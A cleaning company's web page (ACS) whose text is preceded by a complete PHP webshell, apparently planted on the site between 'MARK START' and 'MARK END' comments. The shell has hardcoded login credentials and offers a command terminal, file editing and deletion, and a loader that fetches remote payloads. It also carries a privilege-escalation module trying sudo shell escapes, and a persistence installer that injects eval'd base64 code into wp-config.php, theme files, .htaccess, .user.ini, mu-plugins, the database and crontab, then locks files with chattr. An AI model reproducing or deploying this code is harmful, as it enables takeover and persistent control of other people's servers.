// -------- MARK START -------- $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $sname = 'ws_auth'; function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $auth = false; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚀 Deploy] '; echo '[🔐 Privesc] '; echo '[🔗 Persist] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; $success = @move_uploaded_file($f['tmp_name'], $dest); if ($success) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded via move_uploaded_file: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { $tmp = $f['tmp_name']; if (is_readable($tmp)) { $data = @file_get_contents($tmp); if ($data !== false && @file_put_contents($dest, $data) !== false) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded via file_put_contents (fallback): '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ Both methods failed. Check permissions on '.htmlspecialchars($path).'

'; } } else { echo '

❌ Temporary file not readable.

'; } } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
        $items = scandir($path);
        if ($items) {
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $full = $path.'/'.$item;
                if (is_dir($full)) echo '📁 '.$item."/\n";
                else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
            }
        }
        echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
        function ws_tree($root, $depth=0, $max=4) {
            if ($depth > $max) return;
            if (!is_dir($root)) return;
            $items = scandir($root);
            if (!$items) return;
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $full = $root.'/'.$item;
                if (is_dir($full)) {
                    echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                    ws_tree($full, $depth+1, $max);
                } else {
                    echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
        }
        ws_tree($path);
        echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
        if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
            for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
        } else {
            $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
            foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
        }
        echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = @file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { @file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); @system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); @readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (@unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (@rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (@file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (@mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'deploy': echo '

🚀 Deploy Module (High-Privilege Loader)

'; echo '
'; echo '🔍 Environment:
'; echo 'User: ' . htmlspecialchars(get_current_user()) . ' (UID: ' . getmyuid() . ')
'; echo 'Server: ' . htmlspecialchars(PHP_OS) . ' / ' . htmlspecialchars(php_sapi_name()) . '
'; $disabled = explode(',', ini_get('disable_functions')); $check_funcs = ['system','exec','shell_exec','passthru','popen','proc_open','move_uploaded_file','file_put_contents','chmod','chown','rename']; echo 'Functions: '; foreach ($check_funcs as $f) { $ok = function_exists($f) && !in_array($f, $disabled); echo $ok ? "{$f} " : "{$f}(x) "; } echo '
'; echo 'allow_url_fopen: ' . (ini_get('allow_url_fopen')?'On':'Off') . ' | '; echo 'allow_url_include: ' . (ini_get('allow_url_include')?'On':'Off') . ' | '; echo 'open_basedir: ' . (ini_get('open_basedir')?''.htmlspecialchars(ini_get('open_basedir')).'':'None') . '
'; $is_root = (getmyuid() === 0); echo 'Root: ' . ($is_root ? 'YES ⚠️' : 'No') . '
'; if (function_exists('selinux_getenforce')) { echo 'SELinux: ' . (selinux_getenforce()?'Enforcing':'Permissive/Disabled') . '
'; } echo '
'; if (isset($_POST['do_deploy']) || isset($_GET['source'])) { $source = ws_g('source'); $type = ws_g('dtype') ?: 'url'; $target = ws_g('target') ?: rtrim($path,'/').'/wp-content/uploads/'.substr(md5(time().mt_rand()),0,8).'.php'; $persist = ws_g('persist'); $content = ''; if ($type === 'url') { if (ini_get('allow_url_fopen')) { $content = @file_get_contents($source); } else { $ch = @curl_init($source); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_TIMEOUT, 30); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $content = @curl_exec($ch); @curl_close($ch); } } elseif ($type === 'base64') { $content = @base64_decode($source); } elseif ($type === 'raw') { $content = $source; } if (empty($content)) { echo '

❌ Failed to fetch payload content

'; } else { $methods = [ 'file_put_contents' => function($dest, $data) { return @file_put_contents($dest, $data) !== false; }, 'system+echo' => function($dest, $data) { $cmd = "echo " . escapeshellarg($data) . " > " . escapeshellarg($dest); @system($cmd, $ret); return $ret === 0 && file_exists($dest); }, 'proc_open' => function($dest, $data) { $desc = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']]; $p = @proc_open('cat > ' . escapeshellarg($dest), $desc, $pipes); if (!is_resource($p)) return false; @fwrite($pipes[0], $data); @fclose($pipes[0]); @proc_close($p); return file_exists($dest); }, 'rename_from_tmp' => function($dest, $data) { $tmp = @tempnam(sys_get_temp_dir(), 'ws_'); if (!$tmp || @file_put_contents($tmp, $data) === false) return false; $ok = @rename($tmp, $dest); if (!$ok) @unlink($tmp); return $ok; }, ]; $success_method = ''; foreach ($methods as $name => $fn) { if ($fn($target, $content)) { $success_method = $name; break; } } if ($success_method) { $sz = round(filesize($target)/1024, 2); echo '

✅ Deployed via ' . $success_method . ': ' . htmlspecialchars($target) . ' (' . $sz . 'KB)

'; @chmod($target, 0644); if ($is_root && ws_g('immutable')) { @system('chattr +i ' . escapeshellarg($target)); echo '

✅ File locked (chattr +i)

'; } if ($persist === 'config') { $cfg = rtrim($path,'/') . '/wp-config.php'; $inc = "\n@include '" . addslashes($target) . "';\n"; if (@file_put_contents($cfg, $inc, FILE_APPEND)) echo '

✅ Added to wp-config.php

'; } elseif ($persist === 'htaccess') { $ht = rtrim($path,'/') . '/.htaccess'; $inc = "\nphp_value auto_append_file \"" . $target . "\"\n"; if (@file_put_contents($ht, $inc, FILE_APPEND)) echo '

✅ Added to .htaccess

'; } elseif ($persist === 'userini') { $ui = rtrim($path,'/') . '/.user.ini'; $inc = "auto_append_file = \"" . $target . "\"\n"; if (@file_put_contents($ui, $inc, FILE_APPEND)) echo '

✅ Added to .user.ini

'; } elseif ($persist === 'cron') { $cron_code = ''; $cron_file = rtrim($path,'/') . '/wp-content/uploads/.cron.php'; if (@file_put_contents($cron_file, $cron_code)) { $db_host = defined('DB_HOST') ? DB_HOST : 'localhost'; $db_user = defined('DB_USER') ? DB_USER : ''; $db_pass = defined('DB_PASSWORD') ? DB_PASSWORD : ''; $db_name = defined('DB_NAME') ? DB_NAME : ''; $mysqli = @new mysqli($db_host, $db_user, $db_pass, $db_name); if ($mysqli && !$mysqli->connect_error) { $table = defined('DB_PREFIX') ? DB_PREFIX.'options' : 'wp_options'; $stmt = $mysqli->prepare("INSERT INTO {$table} (option_name, option_value, autoload) VALUES ('cron_rebuild', ?, 'yes')"); $stmt->bind_param('s', $cron_file); $stmt->execute(); echo '

✅ WP-Cron persistence installed

'; } } } $url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS']==='on'?'https':'http').'://'.$_SERVER['HTTP_HOST'].str_replace($_SERVER['DOCUMENT_ROOT'],'',$target); echo '

🔗 URL: '.htmlspecialchars($url).'

'; } else { echo '

❌ All write methods failed.

'; } } } echo '

📤 Deploy Payload

'; echo '
'; echo 'Source:
'; echo '

'; echo 'Type:

'; echo 'Target path (optional):
'; echo '

'; echo 'Persistence:

'; echo 'Lock file (chattr +i, requires root):

'; echo ''; echo '
'; break; case 'privesc': echo '

🔐 Privilege Escalation Analyzer

'; echo '
'; $uid = getmyuid(); $user = get_current_user(); echo "Current: {$user} (UID: {$uid})
"; if ($uid === 0) { echo '

⚠️ ALREADY ROOT - no privesc needed

'; break; } // 1. sudo -l echo '
1. Sudo permissions (sudo -l):
';
        @system('sudo -n -l 2>&1', $ret);
        echo '
'; if ($ret === 0) echo '

⚠️ NOPASSWD sudo rules found!

'; // 2. SUID binaries echo '
2. Interesting SUID binaries:
';
        @system('find / -perm -4000 -type f 2>/dev/null | grep -E "(vim|find|python|perl|nmap|bash|less|more|env|awk|tar|chmod|dpkg|git|docker|kubelet)"', $ret);
        echo '
'; // 3. Writable Cron scripts echo '
3. Writable Cron scripts:
';
        @system('find /etc/cron* -writable 2>/dev/null', $ret);
        echo '
'; // 4. Kernel version echo '
4. Kernel version:
';
        @system('uname -a', $ret);
        echo '
'; // 5. Writable system paths echo '
5. Writable system paths:
';
        @system('for p in /etc /etc/cron.d /opt /usr/local/bin /var/spool/cron/crontabs /home; do [ -w "$p" ] && echo "WRITABLE: $p"; done', $ret);
        echo '
'; // 6. Attempt common sudo privesc echo '
6. Attempting common sudo privesc:
';
        $sudo_cmds = [
            'sudo vim -c ":!/bin/sh" -c ":q"' => 'vim',
            'sudo find / -exec /bin/sh -p \; -quit' => 'find',
            'sudo tar cf /dev/null file --checkpoint=1 --checkpoint-action=exec=/bin/sh' => 'tar',
            'sudo python3 -c "import os; os.system(\'/bin/sh\')"' => 'python',
        ];
        foreach ($sudo_cmds as $cmd => $bin) {
            echo "Trying: $cmd\n";
            @system("echo '' | timeout 3 $cmd 2>&1", $ret);
            if ($ret === 0) { echo ">>> SUCCESS! Got shell via $bin\n"; break; }
        }
        echo '
'; break; case 'persist': echo '

🔗 Persistence Installer

'; $root = rtrim($path, '/'); $wp_includes = $root . '/wp-includes'; $wp_uploads = $root . '/wp-content/uploads'; $wp_plugins = $root . '/wp-content/plugins'; $wp_mu = $root . '/wp-content/mu-plugins'; $payload = ''; $payload_b64 = base64_encode($payload); $results = []; // 1. wp-config.php 注入 $wp_config = $root . '/wp-config.php'; if (is_writable($wp_config)) { $marker = "// __PERSIST_MARK__\n"; $code = $marker . '@eval(base64_decode("' . $payload_b64 . '"));' . "\n"; if (@file_put_contents($wp_config, $code, FILE_APPEND)) { $results[] = '

✅ wp-config.php injection OK

'; } } else { $results[] = '

❌ wp-config.php not writable

'; } // 2. functions.php 注入 $theme_dir = $root . '/wp-content/themes'; if (is_dir($theme_dir)) { $themes = array_diff(scandir($theme_dir), ['.','..']); foreach ($themes as $theme) { $func_file = $theme_dir . '/' . $theme . '/functions.php'; if (file_exists($func_file) && is_writable($func_file)) { $code = "\n// __PERSIST_MARK__\n@eval(base64_decode(\"{$payload_b64}\"));\n"; if (@file_put_contents($func_file, $code, FILE_APPEND)) { $results[] = "

✅ functions.php ({$theme}) injection OK

"; break; } } } } // 3. .htaccess + .cache.php $htaccess = $root . '/.htaccess'; $ht_code = "\n# __PERSIST_MARK__\nphp_value auto_append_file \"{$wp_uploads}/.cache.php\"\n"; if (@file_put_contents($htaccess, $ht_code, FILE_APPEND)) { if (@file_put_contents($wp_uploads . '/.cache.php', $payload)) { $results[] = '

✅ .htaccess + .cache.php OK

'; } } // 4. .user.ini $userini = $root . '/.user.ini'; $ini_code = "auto_append_file = \"{$wp_uploads}/.cache.php\"\n"; if (@file_put_contents($userini, $ini_code, FILE_APPEND)) { $results[] = '

✅ .user.ini auto_append OK

'; } // 5. mu-plugins + 数据库 if (!is_dir($wp_mu)) @mkdir($wp_mu, 0755, true); if (is_writable($wp_mu)) { $loader = "connect_error) { $table = defined('DB_PREFIX') ? DB_PREFIX . 'options' : 'wp_options'; $mysqli->query("INSERT INTO {$table} (option_name, option_value, autoload) VALUES ('_persist_cache', '{$payload_b64}', 'yes') ON DUPLICATE KEY UPDATE option_value='{$payload_b64}'"); $results[] = '

✅ mu-plugins + DB persistence OK

'; } } } // 6. Cron 任务(系统级) if (getmyuid() === 0 || @system('crontab -l 2>/dev/null') !== false) { $cron_cmd = "* * * * * php -r \"\\$c=get_option('_persist_cache'); if(\\$c) eval(base64_decode(\\$c));\" >/dev/null 2>&1\n"; @system("echo '{$cron_cmd}' | crontab -", $ret); if ($ret === 0) $results[] = '

✅ Crontab persistence OK

'; } // 7. chattr +i 锁(root) if (getmyuid() === 0) { @system("chattr +i {$wp_config} 2>/dev/null"); @system("chattr +i {$wp_mu}/_loader.php 2>/dev/null"); $results[] = '

✅ chattr +i lock applied (root only)

'; } echo implode("\n", $results); echo '

维权安装完成。 即使 webshell 文件被删,以下机制仍可恢复:

'; echo ''; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; // -------- MARK END -------- ACS

Professional Cleaning That Brings Comfort Back to Your Space

Residential and commercial cleaning services designed to help you enjoy clean, organized and refreshed spaces — even when life gets too busy.

Premium cleaning, designed around your everyday life.

Every detail of our work is dedicated to giving you a space that feels truly cared for — combining flexibility, consistency and a sincere commitment to your comfort.
01

Clean & Organized Spaces

We help you enjoy the comfort of finding your home or business clean, refreshed and organized at the end of the day.
02

Flexible Cleaning Options

Choose between deep cleaning or regular cleaning according to your needs, preferences and routine.
03

Residential Cleaning

Cleaning services created for people who do not always have the time to take care of everything themselves.
04

Commercial Cleaning

Cleaning, disinfecting and organizing to help maintain a more professional and welcoming space.
Our Promise
Spaces that feel cared for, every single visit.

Cleaning Services Created for Your Busy Life

ACS provides residential cleaning for people who, for any reason, do not have the time to do it themselves. Our goal is to give clients the peace of mind of knowing they can come back to a clean, organized and comfortable home.
We also offer commercial cleaning services focused on cleaning, disinfecting and organizing, helping businesses maintain spaces that feel fresh, professional and cared for.

– Trusted & Reliable

– Deep & Regular Cleaning

– Residential Care

– Commercial Care

Tailored cleaning for homes and businesses.

Two dedicated services, designed to fit the rhythm of your home or the standards of your workplace.
Residential

Residential Cleaning

Deep cleaning or regular cleaning according to the client’s preference. A practical solution for people who want to enjoy a clean and organized home without having to handle everything themselves.

– Deep Cleaning

– Regular Cleaning

– Organization

– Detailed Care

Commercial

Commercial Cleaning

Cleaning, disinfecting and organizing for commercial spaces, helping create a cleaner, more welcoming and professional environment that your team and clients will appreciate.

– Cleaning

– Disinfecting

– Organizing

– Recurring Service

See Our Cleaning Work in Action

Real cleaning moments that reflect care, dedication and attention to detail.
Get Started

Ready to Enjoy a Cleaner, More Organized Space?

Contact us today and request a cleaning service that fits your space and your needs.

Let's bring comfort back to your space.

Have questions or want to request a cleaning service? Send us a message and we will help you choose the best option for your space.

    © 2026 ACS. Made with love by Sweet Brand Studio.
    Creating harmony by cleaning your space